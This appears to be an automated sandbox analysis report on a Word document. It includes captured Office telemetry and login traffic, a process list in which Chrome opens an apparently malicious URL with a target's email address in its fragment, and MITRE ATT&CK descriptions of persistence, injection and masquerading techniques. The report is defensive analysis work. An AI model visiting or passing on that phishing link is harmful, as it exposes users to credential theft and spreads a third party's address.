3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49925	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:26 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:26 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:26 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 4d8e5842-701e-0021-0efe-163d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195326Z-1657d5bbd48sqtlf1huhzuwq7000000003t0000000000kwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:26 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49926	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:26 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:27 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:27 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 8a56303a-c01e-0066-0f01-17a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195327Z-1657d5bbd482lxwq1dp2t1zwkc00000003s0000000007g0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:27 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49927	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:27 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-07 19:53:27 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-07 19:53:28 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 07 Oct 2024 19:52:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C552_BAY x-ms-request-id: 1303ddb7-bb8b-405a-9dd2-6995dbb5001f PPServer: PPV: 30 H: PH1PEPF0001B875 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 07 Oct 2024 19:53:27 GMT Connection: close Content-Length: 11389
2024-10-07 19:53:28 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49928	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:27 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:27 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:27 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: cd0b82ba-d01e-0049-1304-17e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195327Z-1657d5bbd487nf59mzf5b3gk8n00000003eg00000000yhwc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:27 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49930	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:27 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:27 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:27 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: d3a3eb01-b01e-003d-1ef1-16d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195327Z-1657d5bbd4824mj9d6vp65b6n4000000044g00000000gey6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:27 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49931	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:27 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:27 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:27 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: ca2bab4f-201e-0071-5e14-17ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195327Z-1657d5bbd48xsz2nuzq4vfrzg800000003w0000000005v54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:27 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49929	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:27 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:27 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:27 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 0c184816-a01e-000d-72ff-16d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195327Z-1657d5bbd48sdh4cyzadbb374800000003tg00000000dvd6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:27 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49932	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:27 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:27 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:27 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 4d8e59a4-701e-0021-64fe-163d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195327Z-1657d5bbd48sqtlf1huhzuwq7000000003t0000000000kxp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:27 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49933	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:28 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:28 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:28 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4ef38422-401e-000a-160c-174a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195328Z-1657d5bbd48tqvfc1ysmtbdrg000000003vg000000007wq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:28 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Target ID:	0
Start time:	15:52:54
Start date:	07/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x100000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:53:02
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://z2k.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	15:53:03
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2020,i,6938504624187398722,11422843999623257211,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
